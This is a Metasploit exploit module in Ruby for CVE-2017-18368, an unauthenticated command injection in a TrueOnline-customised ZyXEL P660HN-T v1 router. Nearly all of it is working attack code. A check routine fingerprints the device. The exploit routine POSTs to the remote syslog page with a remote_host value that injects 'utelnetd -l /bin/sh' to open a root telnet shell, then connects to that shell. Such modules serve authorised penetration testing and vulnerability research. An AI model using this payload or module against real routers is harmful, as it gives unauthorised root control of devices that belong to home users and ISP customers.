TrueOnline / ZyXEL P660HN-T v1 Router Unauthenticated Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'TrueOnline / ZyXEL P660HN-T v1 Router Unauthenticated Command Injection',
        'Description' => %q{
          TrueOnline is a major ISP in Thailand, and it distributes a customized version of
          the ZyXEL P660HN-T v1 router. This customized version has an unauthenticated command
          injection vulnerability in the remote log forwarding page.
          This module was tested in an emulated environment, as the author doesn't have access to the
          Thai router any more. Any feedback should be sent directly to the module's author, as well as
          to the Metasploit project.
          There are other language strings in the firmware, so it is likely that this firmware is not only
          distributed in Thailand. Other P660HN-T v1 in other countries might be vulnerable too.
        },
        'Author' => [
          'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'unix',
        'References' => [
          ['CVE', '2017-18368'],
          ['URL', 'https://seclists.org/fulldisclosure/2017/Jan/40'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt'],
          ['URL', 'https://blogs.securiteam.com/index.php/archives/2910']
        ],
        'Targets' => [
          [ 'P660HN-T v1', {}],
        ],
        'Privileged' => true,
        'Arch' => ARCH_CMD,
        'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
        'DisclosureDate' => '2016-12-26',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptInt.new('TelnetPort', [true, "Telnet port we're going to use", 9999]),
      ]
    )
  end

  def check
    res = send_request_cgi!({
      'uri' => '/cgi-bin/authorize.asp',
      'method' => 'GET'
    })
    if res && res.body =~ /ZyXEL P-660HN-T1A/
      return Exploit::CheckCode::Detected('The target service was detected')
    else
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end
  end

  def exploit
    print_status("#{peer} - Attempting to exploit router...")
    send_request_cgi({
      'uri' => '/cgi-bin/ViewLog.asp',
      'method' => 'POST',
      'vars_post' => {
        'remote_submit_Flag' => '1',
        'remote_syslog_Flag' => '1',
        'RemoteSyslogSupported' => '1',
        'remote_host' => ";utelnetd -l /bin/sh -p #{datastore['TelnetPort']} -d;#",
        'remoteSubmit' => 'Save'
      }
    })

    sleep 5

    begin
      ctx = { 'Msf' => framework, 'MsfExploit' => self }
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['TelnetPort'], 'Context' => ctx, 'Timeout' => 10 })
      if not sock.nil?
        print_good("#{peer} - Success, shell incoming!")
        return handler(sock)
      end
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      sock.close if sock
    end

    fail_with(Failure::Unknown, "#{peer} - Failed to exploit router.")
  end
end